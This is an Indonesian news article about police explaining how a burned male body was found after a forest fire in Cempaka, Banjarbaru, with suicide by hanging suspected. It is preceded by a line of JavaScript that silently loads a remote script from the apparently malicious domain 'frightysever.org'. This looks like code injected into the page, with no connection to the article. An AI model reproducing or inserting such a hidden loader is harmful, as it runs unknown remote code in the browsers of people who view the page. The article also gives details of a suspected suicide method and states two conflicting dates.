(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Polisi Ungkap Kronologi Penemuan Mayat Terbakar di Gunung Kupang Cempaka

KANALKALIMANTAN.COM, BANJARBARU – Mayat lelaki terbakar di Gunung Kupang, RT 01 Kelurahan Cempaka, Kecamatan Cempaka, Kota Banjarbaru, Sabtu (23/9/2023) siang, ditemukan pertama kali oleh seorang satpam.

Kronologi penemuan jasad ini diungkap Kapolsek Cempaka AKP Singgih Aditya yang berada di lokasi kejadian.

Dirinya menjelaskan bahwa kebakaran hutan dan lahan (Karhutla) terjadi sekitar pukul 12.00 Wita, dimana api kemudian berhasil padam sekitar dua jam berselang yakni pukul 14.00 Wita.

“Lalu usai padam itu lah pihak security di area itu melaksanakan survei pasca Karhutla dan setelah naik ke atas gunung dia menemukan jasad terbakat itu,” ujar Kapolsek Cempaka AKP Singgih Aditya, Sabtu (22/9/2023) sore.

Satpam yang pertama kali menemukan itu kata dia menduga awal bahwa mayat itu adalah boneka.

“Diduga awal boneka dan setelah dicek itu ketahuan mayat manusia langsung dia melapor,” sambung dia.

Sementara itu, Wahyu (32) Satpam kawasan tersebut mengatakan hal yang serupa.

“Pertama kali tadi kan lagi survei lahan untuk kondisi pasca karhutla, lalu saya dari kejauhan itu melihat kaya ada boneka berwaja putih, pas dipastikan ada mayat,” jelas Wahyu (32), Satpam LAN RI Banjarbaru.

Saat ditemukan kata dia mayat itu sudah tergeletak dan terbakar dengan tidak memakai pakaian, sehingga ia pun tak mengenali identitas mayat tersebut.

Polisi pun memiliki dugaan kuat bahwa jasad itu tidak terbakar karena Karhutla melainkan bunuh diri.

Sebab pihak kepolisian juga menemukan seutas tali tergantung di atas pohon tepat di atas lokasi korban ditemukan yang diduga digunakan korban untuk gantung diri.

“Untuk saat ini kita menduga mayat itu adalah korban bunuh diri, diduga awal lebih dulu meninggal sebelum kebakaran lahan,” papar Kapolsek Cempaka.

Keberadaan korban pun terakhir kali diketahui oleh keluarga yang sempat melakukan video call, namun sesaat kemudian hp korban ditemukan tidak aktif. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor: bie